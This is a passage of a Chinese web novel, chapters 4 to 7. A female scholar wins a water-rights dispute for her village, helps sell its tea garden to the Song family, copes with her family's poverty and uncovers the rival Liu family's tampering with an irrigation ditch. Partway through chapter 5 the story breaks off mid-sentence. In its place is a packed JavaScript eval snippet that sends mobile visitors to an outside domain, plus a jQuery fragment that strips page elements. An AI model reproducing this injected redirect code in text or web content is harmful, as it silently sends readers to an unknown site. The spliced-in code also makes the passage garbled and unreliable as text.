云悠不知为何一向算得分明的小姐会做出这样不理智的决定，抬眼偷偷打量着倚靠在软榻上的女子，似乎在想自家小姐是不是被老爷给气糊涂了？ “蒙山村只会把茶园卖给我。”宋含玉拨弄着木盒，目光沉静，仿佛世间喧嚣皆与她无关，清浅的嗓音不疾不徐，却隐有从容，“也只能卖给我。” 她将手中的药盒递到云悠面前，柔声吩咐道：“把这药送到江秀才手上。” 云悠接过药盒，欲言又止。 这药盒还是方才小姐让人送来的，她没记错的话，这药是消除疤痕的，效果极好，要价不菲呢。 所以……她清冷孤傲的小姐是什么时候关注到那秀才额头上有伤的？ “若她问起，就说是我单独给她的见面礼。” 宋含玉懒懒起身，抚平衣袖的褶皱，转身来到包厢内，葱白的手拨开木窗一角，垂眸看着街道上的人影。 那人接过了云悠递过去的药盒，似有不解，嫣红的唇一开一合，大约是在询问云悠缘由。 直到药盒被彻底收下，那人的背影渐渐消失在了闹市的人群中，她收回目光，合上了窗户。 4. 第 4 章 衙门偏厅弥漫着陈年墨汁的酸腐味。江溪竹盯着案几上那方缺角的砚台，听着对面柳家管事中气十足的吼声。 “他们打断我家族人好几根肋骨！我那小儿现在还躺在床上起不来呢！大人该把蒙山村的人抓起来，狠狠打一顿，然后收押进监狱里！” “放你娘的狗屁！”冯大姑拍案而起，“是你柳家先动的手，我们村的人被打得鼻青脸肿！你们还把我们村的秀才推倒了，脑门上开了好大个口子哩！” …… 镇长张成言捧着茶盏坐在太师椅里，一味低头喝茶，倒是不曾掺和进柳家管事和冯大姑的争吵之中。 江溪竹觉得很可笑，这般尸位素餐的人，竟掌握着蒙山镇百姓的生杀大权。 不知争论了多久，上首的镇长总算是放下了白玉杯盏。 “江秀才，”他看向出神的江溪竹，轻叩着案桌，“你来说说。” 满室寂静中，江溪竹回过神来，见一众人都盯着自己，她坐直了身子，掸了掸衣袖上并不存在的灰尘，顺着脑海里浮现出的原身记忆，慢慢讲了自己看法。 “蒙山上的沟渠乃二十年前官府所建，柳家私改水道，触犯了《元夏水令》第三条，依律是要脊杖三十的；另外嘛，”她抬了抬下巴，看向对面一脸阴翳的柳管事，“柳小勇扬言要让冯村长‘棺材派上用场’，当时在场的所有人皆可作证，按律可以谋杀未遂论处。” 柳管事脸色骤变，他原以为蒙山村出的这个女秀才不过是个花架子，谁知竟对本朝律法如数家珍。 张成言睨了眼柳管事，见他说不出话来，顿时在心口堵了口气。他刚收了柳家厚礼，本打算和稀泥了事，谁知这柳家的人如此不中用，被个秀才三言两语就拿捏了，这会儿倒是把他架在了火上烤。 正当僵持，门外突然传来清脆的玉铃声响。众人回头，只见宋府管事带着两个侍女立在廊下，笑吟吟捧着一方茶盒。 “我家小姐说，蒙山村的事，宋家愿来作个见证。” 周管事的出现，江溪竹很意外。她还以为宋家只想尽早买下她们村的茶园，不想过多牵扯进她们村和柳家的纷争里。 没想到那宋大小姐还遣了周管事前来。就是不知，周管事要如何来做这个见证了。 偏厅内人心浮动，柳管事更是谨慎地盯着周管事，见她只是将手里的茶盒移交到了镇长案桌上，便悄然松了口气。 但下一瞬，茶盒打开，一缕沉郁的陈香混着雨水气息蔓延开来。 这熟悉的气味让他瞳孔骤缩，下意识看向端坐于上首的张镇长。却见他垂下眼，紧紧盯着茶盒里的茶时鼻翼翕动，不自觉皱起了眉头，便知大事不好了！ 此刻的张成言思绪繁杂，有些心虚，不知宋家人将这盒茶交到他手里是什么意思，毕竟这茶的气味很熟悉，与午时柳家送他的精品新茶味道一模一样……莫不是想提醒他，宋家知晓他收了柳家贿赂？ “大人或许不知，这茶是柳家售往州府的陈茶。”周管事没有拐弯抹角，言笑晏晏地继续说道：“并且还是好几年前的陈茶。” 柳管事额角渗出细汗，眼神在镇长和似笑非笑的周管事之间游移。 “胡说！柳家从不售卖陈茶！”他极力辩驳，试图拉回镇长的注意力，“而且现下是我柳家和蒙山村商议上午互殴如何解决的事，你宋家拿了这不知在哪儿买的茶到此处诬陷我柳家，是想干扰镇长的英明决断吗？” “你既知镇长决断英明，那又为何认为镇长会被干扰？”周管事从袖中拿出了一张盖了印的买券，呈到了堂前，“这是购买柳家商铺茶叶的凭证，那茶盒底部也印有柳家的火漆印，若是大人以为还不能证明这茶叶是柳家售卖的，也可以派人前去柳家商铺验证一二。” “但是得快些去了，不然去迟了，柳家就要换下陈茶了。”她浅笑着说，倒是不觉得自己的话有多让人震惊。 四周暗沉，仿佛流淌着压抑的潮湿。 张成言摆了摆手，将买券压在了惊堂木下，语气极淡地说：“这上面确有柳家商号的铜模，做不了假。” “大人！”柳管事连忙开口打断，“我们柳府和蒙山村的事还没完呢！” 他极力保持着镇定，幽寒的眸子如蛇一般缠在张成言身上，一闪而过的警告，似乎在提醒他不要忘了刚收下的贿赂。 张成言嘴角微抽，冷冷一笑。 贿赂？柳家还敢提贿赂？ 拿几年前的陈茶来忽悠他，这也能叫贿赂？！这柳家真是大胆，还跟他强调那茶是今年刚冒出的精品嫩芽，只送了他一人，亏得他当时满意得很，满口应下柳家的提议。 哼！简直是把他当三岁小孩儿耍呢！ “怎么？难道不是柳家先动的手？”他目光冷淡，轻叩桌面，示意李捕头递上双方的口供，“而且你柳家私自改道沟渠，早触犯了本朝律法。” “现下本官宣判，柳家所有参与挖掘沟渠、打架斗殴的人受五十鞭刑。责令柳家派人在三日内将毁坏的沟渠恢复如初，并交罚款一千两纹银，另外需要赔偿蒙山村受伤之人所有医药费。” 原本吵闹了一下午的案子只是一会儿功夫就结了。虽然结果看起来似乎达到了冯大姑的目的，但她无论如何也高兴不起来。 她瞥了一眼周管家，想着要不是宋家遣了她来，那最后的结果，还会是这样吗？ 江溪竹倒没想这么多，只想赶紧离开这个乌烟瘴气的地方，至于剩下的事，与她毫无干系。 外面天色暗了不少，坐上马车回到村子里，天边已经挂上了一轮弯月。 “今天闹了半天，你也累了，早点回去睡吧。明天吃了早饭就到祠堂去，和大家伙儿商量商量卖茶园的事。”冯大姑驾着马车，把江溪竹送到了家门口。 木门没有关紧，轻轻一推就开了。 江溪竹同冯大姑话别后，踩着月色进了院子，随手打发了朝她迎来的黄将军。 堂屋檐角的灯笼亮着红彤彤的光，照亮着脚下的路。 她快步走进去，旁边的卧房里传来一阵窸窣的动静。 “妮儿？这么晚才回来？吃过晚饭了吗？伤口上药了没？”江母披了件外衣，提着灯笼来到堂屋内，浑浊的眼里布满了通红的血丝。 江溪竹轻巧避开她伸过来抚摸额角的手，转头接过她手里的灯笼，虚虚扶着她，“我和大姑在镇里吃过了才回来的，没有饿肚子。伤口已经上了药，大夫还开了熬的药，说是吃上三四天就差不多了。” “现在很晚了，你不要继续熬着了，快点回去休息吧。” 扶着她转身来到阴暗的卧房，见她还想开口，江溪竹搁下灯笼，先一步说道：“和柳家的事解决了，我们村没受什么处罚。另外茶园的事，要等明天一早去祠堂，大家商量了再决定要不要卖。” “所以现在睡吧，明天的事明天再说。” ...... 晨曦初露，微凉的风里卷着淅淅沥沥的雨珠，三三两两的村民穿着蓑衣，踩着湿漉漉的土路，慢慢聚集在了山脚的祠堂里。 阴暗的屋内，摇曳的油灯映着一张张神情各异的脸。 “……五千两银子加上两百两定金，扣掉一千两来修缮祠堂，还剩下四千二百两，分到每一户头上，也有一百来两。”冯大姑坐在村长身边，目光扫过在场每一个人。 “茶园卖了之后，要不要接受宋家的雇佣去打理茶园，那就是大家自己做决定了。每户出两个人去打理茶园，每月就能领一两银子，虽然富不了，但是也饿不死。” 众人沉默，思考着可行性。 片刻后，有人产生了质疑：“茶园是我们冯家的，也一直是我们冯家人在管，外姓人可没靠着茶园过日子。所以卖茶园的银子要平均分到每一户头上，会不会太不公平了？” “是啊，比如村头几十年前搬来的张家，还有半山腰的李家，还有村尾的……”有人附和着，但最后的话却没说完，只不过众人都悄悄看向 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刚才附和的黑脸汉子瞥了眼没开口的几户外姓人，嘴角蠕动，低声辩驳道：“公是公，私是私，我们不否认他们对村子有贡献。但是茶园从一开始就是属于我们冯氏大家的，跟他们外姓人可没关系……如果就因为他们做的这些事，要把卖茶园的钱也平均分给他们，那对我们冯家的人根本不公平啊。” “是啊。”好几个冯家人跟着说道：“本来银子就不算多，咋还要分给外姓人啊？” “我们祖辈都靠着茶园过日子，要不是柳家逼得太紧，我们也不想把茶园卖出去……” “就是啊！就算要卖茶园，那还得再加点钱哩！而且咋也不能平均分到每户头上啊！我们还想多分点过日子呢！” 涉及到自身利益，冯家所有人严阵以待，一个接一个地冒出来据理力争，就为了能多分些银子到自己手里。 一直吵闹到午时，油灯添了两回油，腹中饥饿的众人才勉强坐回了自己的位置上，等待着村长一家最后的决断。 四周弥漫着暗色，淅沥的雨在屋檐汇集，成串般簌簌落下，台阶下的水坑溅起了张牙舞爪的水花。 冯大姑沉默许久后，还想再劝，木桌下的脚却被轻轻踩了踩，她的余光瞥向坐在旁边的父亲，见他杵着拐杖，慢慢说道：“大家的意思，我都知道了。那么张家、李家和江家呢？对于卖茶园的银子平分到每一户头上，你们怎么看？” 江溪竹对这事没什么想法，倒是对于村长踢皮球的态度有些心绪复杂。 她不是自小生活在村子里的原身，对这里没有太多归属感。所以银子要如何分配，她并不关心。 但村长这话的意思，分明是不想亲自开口，把银子分配到每户头上。便把皮球踢给她们这些所谓的“外姓人”，让她们自己来决定要不要这个银子。 当然，如果最后她们说了要拿分配的银子，那也就担下了冯家人的怨恨，总之无论如何都与他冯村长一家无关。 ……这些弯弯绕绕的小心思当真是让人觉得心烦。 江溪竹垂眸，按下她母亲的手，一张嘴就撇清了她们一家：“虽然我娘姓冯，但似乎她在和我爹成亲后就迁了户，所以大概也算不上是你们冯家人了。而我姓江，更不是冯家氏族的人。” “从始至终我们一家人都没有被分配打理过茶园，所以茶园卖了多少银子，都和我们一家无关。” 她这话一说出口，另外两家外姓人紧紧拧着眉心。 她知道当出头鸟，会招惹一些怨怼。但她更不想继续掺和进和冯氏家族的矛盾里。 有了她的开头，其余两户外姓对视一眼后，也在众人的虎视眈眈之下，亲口放弃了银子的分配。 冯氏家族的人满意了，冯村长眼里也有了点笑意，“虽然你们不参与分配，但若是修缮祠堂后，那一千两还有剩余的话，就平均分给你们，也算是这些年大家为村子做贡献的回报。” 这自然是客套话，三家外姓人心里门儿清。 “大家都是同住一个村的，什么贡献不贡献，都是应该的。”那两户人家心里憋着气，面上倒是一团和气，随口应付几句，便也告辞了。 5. 第 5 章 之后经过冯氏家族激烈的商讨，最后村长拍板同意把茶园尽快卖给宋家。 商量好所有细节之后，冯家人担心柳家贼心不死，还要继续折腾她们村，便在当天下午就拟好了书契，送去了镇上宋家人手里。 如此一来一回，蒙山村的茶园就此脱手，宋家接管了过去。等柳家得知这个消息时，都已过去三五日了，再无转圜余地。 …… 晨光透过茅草屋顶的缝隙斜射进来，江溪竹缓缓睁开眼，脸颊上湿润了一片，她抬手抹去水渍，转身时身下的木板床硌得脊背生疼。 “妮儿醒啦？”江母似是听到了动静，片刻后端着瓷碗走进来，一碗白米粥，一碗黑糊糊的汤药，“趁热喝点粥，再把药给喝了。” 大约是江溪竹原身身子骨弱，加上她受了伤还去镇上奔波忙碌，身子吃不消了，前两日回来后就发了热，躺在床上喝了母亲给她熬的药，今日精神头才勉强好了些。 她裹着有些潮湿的被子，从被窝里支起上半身，接过碗时瞥见母亲眼圈微红，似是有些委屈。 “怎么了？” “没啥事。”母亲扯了扯衣袖，浑浊的眼睛避开了她的视线。 江溪竹想起早上天刚放亮，就听到了院子的木门一开一合的声音……所以母亲出门了，还在外面受了委屈？ “你上午去哪儿了？”她直接问。 冯氏垂着头，只一味让江溪竹快些把粥喝了。 相处了几日，江溪竹对冯氏没一开始那般陌生了，这会儿见她这副受了气的模样，心里倒有些不是滋味了。 “你要不说，我就找冯二婶问。” 隔壁的冯二婶和冯氏关系好，又是爱凑热闹的人，她肯定知道早上发生了什么事。 见瞒不过去了，冯氏拿袖口抹了一把湿润的眼角，“家里的精米快吃完了，我想着拿裁好的衣裳去你外婆家换一些回来，可……可是你舅舅说他们家也没有精米了，换不了。” “明明我前些天才看到你舅母从镇上买了一大包精米回来……”冯氏的眼里溢满了失望，她哽咽着继续说：“不换就不换了吧，但是他们把那些衣裳扣下了，说我嫁出去这么多年，没怎么孝敬过你外公外婆，那些衣裳就当是补偿，不让我拿走了。” 以前江父还在的时候，开个小私塾，冯氏针线功夫好，也时常缝补一些衣服鞋子挣点铜板回来，日子倒也算过得去。 但江父几年前去世后，私塾开不下去，家里没有稳定收入。冯氏又心疼女儿，不让她做粗活，就只得自己挣银子，白天黑夜连轴转地接活缝补。 虽说不至于饿死，但她眼睛熬坏了，家里的日子也过得紧巴巴的。 所以那些用镇上买回来的布料裁制的衣服，不仅是冯氏费时费力做的，还是这家里接下来一两个月的口粮，但就这么被冯氏娘家扣下了，甚至还不给她们换精米。 这接下来的日子，都不知道要怎么过了。 江溪竹静静听着，低头看向碗里精米熬成的小米粥。 碗里的粥清得能照见人影，不像前两日那样黏稠，想必这是冯氏用最后一点精米给她熬的。 “待会儿我去一趟舅舅家，把衣服要回来。”她喝下小米粥和药，把碗搁在了木桌上，又转身从枕头下摸出了两块碎银子，递到了冯氏面前，“这是前两日村长私下里给我的，你拿去吧。” 她不想白吃白住，索性这碎银子似乎暂时用不上，就当伙食费、住宿费交给冯氏。 “算了，你自己拿着吧。”冯氏惊讶过后，摆摆手拒绝了，“过完十五，你要去镇上的书院读书，笔啊墨的，用银子地方多。” “而且二月二你还要给你的夫子送节礼，这又是一项花销。好好揣着，省着点用。如果不够了，尽管找娘要。” 她的眼里一片浑浊，倒映出江溪竹苍白的脸来，泛起的光晕里，是心疼的意味。 “娘虽然挣得不多，但供你读书的钱还是有的。” 江溪竹垂下眼，拿起了一块碎银子，把另一块塞到了冯氏手里，“我这些花销都不大，拿一块就够了，剩下的这块你拿着。” 冯氏推辞不过，只得收下，心里暗暗想着，要给她的妮儿多买几斤精米回来囤着吃。 把碎银子小心翼翼地揣进胸口的兜里，她抬头一看，见江溪竹穿上中衣，扣上了扣子，想到方才她说要去一趟她舅舅家，连忙拽住她拿起外衣的手。 “妮儿，你身上还虚着呢，在床上多躺几天，就别去你舅舅家了。” 江溪竹拧眉，表示不解：“那些衣服能换一斗米了，你不要回来了？” 冯氏声音低了许多：“算了吧，你舅舅也说得对，就当是孝敬你外公外婆的，不去要了。” 这是冯氏的意思，江溪竹想了想，也就由她去了。 只是她不出门，也得把家里收拾一下—— 茅草屋顶不知破了几个洞，单她卧室里就有两个。下雨后，雨水从床头上面的洞一滴一滴地漏下来，落在木头上，溅起的水汽又糊了她一脸，一早起来就潮湿得很。另一边角落堆着她抄录的书册，原身用了个木盆搁在上面接雨水，倒是避免了水浸湿那些纸张。 说干就干，江溪竹不顾冯氏劝说，起床后啃了两根水煮玉米，穿上蓑衣和斗篷，来到了厨房壁下。 这里堆放着烧火用的茅草，她打算暂时用这个修补屋顶，等攒了钱再重新修缮。 茅草被捆成了拇指粗细后，她拿了根竹签，拍开凑过来的黄将军，来到了卧房外。冯氏已经在她的指挥下，把梯子搭好了。 好在现在雨小了很多，她抱起茅草和竹签，准备爬上梯子。 “诶！你下来！上面不结实，小心摔了！”冯氏紧紧抱着梯子，扯着她的袖口，不许她上去，“我上去补，你在下面把梯子扶好就行。” 江溪竹轻轻拂开拽着她衣袖的手，利落地沿着梯子爬了上去，“你别担心，我有把握的。” 轻手轻脚地来到屋顶，她很顺利地找到了漏雨的地方，用竹签挑起旧茅草，把捆好的草束斜插.进了漏洞里，严严实实挡住了这个洞。 如此重复几次，这个房子漏雨的地方就暂时补好了，再次回到屋里，再没有滴滴答答漏下来的雨水。 可被褥还是很潮，江溪竹询问了冯氏有没有多余换洗的被子床单，得到的答复是家里原先只有三床被褥换洗着用，但江父去世，他睡的那一床被褥都烧了，而几年过去了，家里一直没能有多余的钱重新买一床。 对此，江溪竹惊讶中有一丝沉默，“那这些年就没换过被子了？” 冯氏见她误解，忙解释道：“咋可能没换过，那得多脏啊！” “诶，你平日在镇上读书，不知道也是正常。冬天冷，洗了要好几天才能干，所以娘就等夏天日头最好的那天，把被子床单都拆下来一起洗，晾上一天就干了，晚上再换上就是了。” 顺便棉被也会拿出来一起晒一晒，用擀面杖拍几下，就又绵又软，到了冬天装进被子里盖在身上，暖和得就像是能闻到夏天的气味呢。 “等等。”江溪竹平淡的神色有一瞬间的裂开，“你是说，被子和床单一年就换洗一次？” 或许是察觉到了她的震惊，冯氏倒有些不好意思了：“……家里没钱置办，也就只能这样将就将就了。” 江溪竹再一次对这个家的贫穷，有了进一步的认知。 眼睛不好的老母、瘦弱的黄狗、漏雨的屋顶、生硬的床板、昏暗又狭窄的卧房…… 这可真是太穷了，或许小偷进屋了都要可怜地给她们丢两块铜板呢。 她无奈地摇了摇头，解下身上的蓑衣，寻思着该找个什么活计。不然单靠冯氏裁制衣服来挣银子，日子过得紧巴巴的，肯定挣不到翻修屋子的钱。 而且她也不想只冯氏一人辛苦操持，她借了原身的身子活下来，怎么也得回报一下，至少要让她娘吃饱穿暖，活得舒服些才行。 想到原身的秀才身份，且又写得一手好字，她打算过了十五就去镇上找些代笔的活。不过现在离十五还有好几日，她看着挂在堂屋墙上的弓箭，这是从前江父留下的，似乎还能用。 或许可以趁这几日去后山打猎，给面黄肌瘦的冯氏补一补，要是猎得多，还能熏干了拿去镇上换些铜板。 但春雨淅淅沥沥，接连下了两天还没有停歇的意思。屋檐漏下的水珠连成线，在泥地上汇成小小的水洼。黄将军蜷在干草堆里，湿漉漉的鼻子抵着江溪竹的鞋尖。 她拿着从墙上取下的弓箭擦拭，弓弦已经有些松弛，箭囊里也只剩几支秃了羽的箭，看起来不知道好不好用。用过早饭后，她用竹节制作了十来根简易的利箭，再次抬头望天，雨总算是停了。 她回屋换上一身短打，扎了个利落的高马尾，背上弓箭，领着黄将军准备去后山转一转。 冯氏跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730894|174012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来，一把拉住她：“真要去啊？这雨天野兽都躲着，能打着啥啊？再说你还在咳嗽，病没好全哩！” 江溪竹握着弓箭，无奈地安抚着神情紧绷的冯氏，“我就去看看，不会往深山里走。” 不论冯氏如何劝说，她还是在正午的日光里踏上了上山的泥土路。 半山腰的李家大婶时常进山打猎，已经开辟了几条不算太荒的路。江溪竹随意挑了一条，朝着密林深处而去。 然而刚开春，又才下了雨，林里的小兽确实几乎没有。江溪竹在深山里转悠了一两个时辰，也只抓到一只不太肥的山鸡。 估摸着再过一会儿天就要暗了，山林里危险重重，就算有黄将军提前示警，也没法再继续。她索性收起了手里的羽箭，拎着山鸡往回走。 途经半山腰的茶园时，原本一路往山下飞奔的黄将军忽然停下，朝着沟渠的方向嗅了嗅，随后汪汪叫了两声，似乎有什么不对劲。 江溪竹弯下身子，把捆好的山鸡放在一旁，扭头看向缓缓流淌的水流时，眉心逐渐拧紧。 原本清澈的沟渠水流泛着不自然的浑浊，水面似乎还漂浮着一层极细微的油膜，顺着水流下去时，起伏的水面折射出五彩的光，看起来很不正常。 她见黄将军耸了耸鼻子，一脸嫌弃地跑远，便凑近了些，鼻翼翕动，顿时一股几不可闻的古怪气息扑面而来。 她抬头看向上游，似乎也是如此。她拿起别在腰间的水壶，把还没喝完的清水全部倒了出来，又把沟渠里的水装了进去，随后沿着沟渠旁边的小道，慢慢往上游走去。 直到到达了柳家茶园的附近，江溪竹蹲下身子观察，发现水流的怪异都消失了。此处的水清澈见底，没有难闻的古怪气味。 心里有了猜测，她打算把这个发现尽快告知村长——虽然她不愿意再掺和进各方矛盾里，但如果她猜得没错的话，沟渠的水变古怪是涉及到了投毒。她不清楚村里人喝的水是不是从这儿引下山，但以防万一，这事儿得让村长知道。 …… 浅黄的夕阳慢慢消失在渐沉的暮色里，散落的余晖笼罩在清脆的茶树之间。 江溪竹一手拎着山鸡，一手拿着水壶，身后跟着黄狗，一人一狗快步下山。半盏茶后，她在宽阔的石子路上见到了一辆很是熟悉的马车。 车辕边立着的周管事低着头，似是在对马车里的人说着什么。江溪竹低头看了一眼水壶，又想起之前在镇上时，宋家单独给她的见面礼，那确实是个好东西，她只敷了少许，额上的伤疤就几乎看不见了，倒是让她少了一桩烦心事。 心里有了计较，她没有一丝犹豫，踩着凹凸不平的石子来到了马车旁边，“周管事。” 低低的说话声停滞，周管事诧异地扭头看过来，眼里一瞬间迸发出惊喜来，“江秀才？！” 江溪竹愣了愣，不知她的出现为什么会让周管事如此诧异。但想到沟渠的水，她把手里的水壶递到了周管事面前。 “我刚才发现沟渠下游的水不太对劲，像是有人往里面投了毒。正要告知村长，没想到在这里遇上了你。” 说到这儿，她的余光不经意地扫了一眼纱帘垂落的马车，随后继续说道：“你们宋府的茶园刚好在下游，要是不小心把水浇灌在了茶树上，恐怕不知道会有什么后果。” 周管事神色一变，忙连连感谢：“还好江秀才前来提醒，等回到镇上，宋府会马上派人来处理。” 目的达到，江溪竹点头颔首，同周管事告辞，再次踏上下山的路。 四周寂静无声，唯有微风轻拂过山林，枝叶簌簌作响，悄然打破暮色的沉寂。 “幸好小姐有先见之明，知道柳家不甘心，要坏事，在收购了村里茶园后，就让我安排人连夜修筑另一条沟渠，引山泉水下来灌溉。不然继续用那条沟渠的下游水，还不知道要被柳家如何祸害呢！”周管事由衷感叹着宋含玉的机灵聪慧，语气中也有些许的后怕。 马车内燃起了一盏灯，暖橘的光晕投射在车窗上，倒映出女子柔和的轮廓，“派人去查，坐实柳家投毒，把他们的注意吸引到这上面来。” 周管事低声应了个是。 “江秀才额头上的伤，如何了？”片刻后，女子温凉如水的声音漫不经心地顺着微风滑出。 周管事偷偷瞧了一眼马车，眼里添了一分笑意，“白璧微瑕，大概再涂抹几次那药膏，疤痕就彻底消失了。” 6. 第 6 章 …… 引山泉水的沟渠修筑到了收尾阶段，宋含玉亲自来看了一眼，提了几条合适的建议后，领着周管事一同下山了。 石子路不平坦，马车缓缓驶向山下，一路上晃悠个不停。 从珠帘晃开的缝隙看出去，夜色愈发浓郁，但有车内的烛光映照，路的两边倒还能勉强看清丛生的杂草。 只不过一直到蒙山村的村口，路上再没见到任何人。 宋含玉收回视线，低头看着手里的账本。 在蒙山村办完了事的云悠同周管事打了声招呼，一溜儿烟钻进了马车里，喜笑颜开地递上了厚厚的书册。 “村里一共有四十户，愿意签雇佣契约的就有三十五户。七十人轮流安排打理茶园，做六日休息一日，每月每户一两银子的报酬。” 云悠把签了字按了手印的那一页翻开，让宋含玉能清楚地看见，“奴婢没费多少口舌，只提了年底每户多加二两银子的奖赏，一开始犹豫的七八户就都按了手印。” “从明天开始冯村长就安排人去打理茶园了，奴婢让他隔十日就到咱们府上上报茶园情况。他私底下向奴婢多要了二十两银子，没超过小姐你预估的五十两，所以我就直接给他了。” 宋含玉清淡的目光一一扫过书册上歪歪扭扭的字迹和红手印。 见此，云悠眼珠一转，随即附身在她身旁低声说道：“江秀才家没签雇佣契约。” “读书人，自然不会做这些活儿。”宋含玉在山上时遇上了江溪竹，便知她没去村长家签订契约。 这在她的预料之中，毕竟若是她的想法能成，那江秀才得继续在课业上用功了。 约摸过了一个时辰，马车低调地回到了宋府。 拐过垂花门，曲径游廊檐角挂满了描得精致的灯笼，清幽的烛光投射在铺得平整的地上。几人踩着落花穿堂而过，来到了雅致的松雪轩。 “对了小姐，之前奴婢让人打探来财向老爷回禀的事，已经有消息了。” 云悠随着宋含玉入了内院，踏上台阶时，悄声说道：“那日杜家约了老爷在食鼎楼商议……婚事，但最后杜家没去，是二小姐她……” 她的话未说完，卧室门推开时，里面歪歪扭扭坐着的女子已经把话接了过去。 “杜家是我截下的。”宋盈撑着脑袋，看向风尘仆仆的宋含玉时，漂亮的杏眼弯成了月牙儿，“我知道长姐不喜杜书行，不愿意接受宋老爷的安排和他成亲，所以那日他去食鼎楼见你时，我在他途经的小巷子里设伏……他把腿摔伤了，大约这个月都没功夫出门见人了。” 宋含玉神色平淡地脱下身上的碧青色团绒斗篷，摊开双手任由婢女解开外罩的长裙，斜眼掀开眼皮，她扫了一眼圆桌旁的人，“说完了就回你的院子里。” 宋盈双手支着下巴眼巴巴望着她，颇有些期待地说道：“长姐不打算给我点奖赏吗？” 宋含玉没理会她，转身进了内室，在婢女伺候下洗去一身的尘埃。 “姐姐，你没良心！”宋盈瞪圆了眼睛，开始控诉，“我帮了你，你还这么抠门！” 但绣纹精致的金莲屏风挡在面前，她不敢随意踏足内室。 “帮我？”宋含玉的声音像是此刻屋外的夜风，簌簌而过，吹皱了一湖清浅月色。 “宋盈，茶太陈，就喝不出什么味了。” 没头没脑的一句话，使得宋盈挂在脸上的笑僵硬了片刻，她垂下眼眸，似是茫然地问：“长姐这是说什么呢？你知道我不爱喝茶的。” 玉盆里清水晃了晃，撞在盆边，发出暗哑的声响，拉长了一室的静谧。 换上一身宽松寝衣，宋含玉在云悠伺候下，卸下头上的珠钗，散下如瀑般乌发。转身来到外堂，从未合上的雕花木门看去，夜色浓如墨，淅淅沥沥的雨滴穿过黑压压的云层落下，听雪湖面泛起圈圈涟漪。 “云悠，拿上伞，送二小姐回去。”她的目光淡淡扫过低垂着脑袋的人，随后目送着她逃窜般的背影，无意识地扯了扯嘴角。 夜雨连绵，扰人心烦。 房门一开一合，云悠脱下沾染了水汽的外衣，来到盈满了脂粉浅香的内室。 “小姐，这烛火暗了，仔细看伤了眼睛。”她点了另一盏蜡烛，搁在了床头的乌木案桌上。 宋含玉拢了拢披在身上的披风，目光从手中的账本中移开，侧头看向云悠时，鬓边垂落了几缕绸缎般柔顺的长发。 “她与杜家来往，到何种地步了？” 云悠垂下眼，“二小姐是两个月前和杜公子开始联系的，但杜公子一开始还是更属意于小姐，所以二小姐才会在那日暗中设计，绊住了杜公子，而且……” 她偷偷抬眼，看了看宋含玉的神色，却未瞧出什么来。 斟酌片刻后，她继续说道：“而且二小姐在杜公子养伤期间颇为关怀，使得杜公子对她上了心，昨日就在家里闹着要把联姻对象换成二小姐。” 这便是宋盈今日登门的目的——来试探一下宋含玉对杜家公子的态度，看看她的把握有多少。 “蠢货。”烛火熄了一盏，宋含玉的半张脸隐在黯淡的微光里，扯动的嘴角流露出几分冷漠的意味，“居然想靠着与杜家联姻，掌宋府的权。” 这话云悠不敢接，只管默默低着头，降低自己的存在感。 “她的事，你们暂时不用管。”宋含玉丢下手中账本，在一身疲惫中合上了眼。 …… 这几日柳家的日子不太好过。 先是管家之子柳小勇在与蒙山村的冲突中被打断几根肋骨，伤重得差点起不来。后是陈茶代替新茶的事被宋家揭穿，得罪了张成言，花了好些钱财才把人又哄得回心转意。再是现在投进沟渠的药粉被人发现，蒙山村的人又和宋家搅在一起，状告到了衙门，要他们给个说法。 “……上一次给张成言送陈茶，他已经对我们柳家很不满了，这次恐怕再送几百几千两银子，他也是铁了心要站在宋家那边了。” 柳家宽阔的堂屋内，柳管家伏在地上，擦了擦额角的汗，胆战心惊地请罪：“这事奴才没办好，请老爷责罚。” “确实是太蠢笨了。”坐在下首的柳家少爷柳岐盖上茶碗，漫不经心地说：“让你暗中毁了宋家茶园，你竟想的是在沟渠里投药粉。” “也亏得那些药粉没毒，只是些除草的。” 说到这 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“……是蒙山村的那个女秀才。”柳管家不敢抬头，声音略微颤抖。 “江溪竹？！”意想不到的名字传入耳中，柳岐气得掀翻了茶碗，“又是她！” 从前在书院里，这姓江的女人就时常在课业上压他一头，夫子骂他时总要拿她来做比较，让他好没面子。现在她暗戳戳又坏了他们柳家的好事，还真是阴魂不散呢。 “爹，咱们得给她点颜色瞧瞧。” 柳客雨听说过这个女秀才和柳岐在书院里有些矛盾，但到底没把她放进眼里，朝柳岐摆了摆手后，嘱咐道：“要怎么做，你看着办，但她有功名在身，别弄出人命来。” …… 过了十五，开春时节，缠绵了大半个月的雨被袅袅春风吹散，露出了浅蓝的天。 但日光还不算太暖，江溪竹裹上厚实的棉衣，拿着冯氏准备好的吃食和换洗衣物，朝她挥了挥手，坐上了去镇上书院的牛车。 承平书院坐落在蒙山镇南边的莲花山山脚下，背靠莲花湖，风景独好。且因着山长是多年前从京城致仕返乡的国子监祭酒，使得承平书院在最近几年名气逐步提升，就是州府里都有人把家中小辈放在这所书院里。 当年江溪竹也是考上秀才后，才有幸在此处读书。 只不过书院离家远，来回要近四五个时辰，所以她在书院每半月才能回家两日。 踏进墨香味浓厚的书院，江溪竹凭借着原身的记忆，先去了莲花湖畔的斋舍放下行李。 打听到她的夫子已经在书院后，她拿上从张家那儿买的一大块腊肉和原身之前写完的课业，朝着夫子的养正轩走去。 木门没关，她轻轻叩了叩门。夫子抬起头来，见到是她，面色柔和地搁下了毛笔，“在家里休息多日，功课可有温习？布置的课业完成得如何了？” “学生课业完成后，书不离手，日夜温习，不曾有一丝懈怠。”江溪竹面不改色地胡诌几句，奉上了原身早早写完的课业，又将手里提着的腊肉递到了夫子面前，“这是家里熏制的腊肉，家母特别叮嘱，送到夫子手上。” 7. 第 7 章 “你有心了。”何夫子大方接下，与江溪竹闲谈几句，便拿起手边的课业，仔细看了起来。 翻看到最后一页，她满意地颔首，但想到什么，她脸上的浅笑散了些，颇为凝重地看向垂手而立的人。 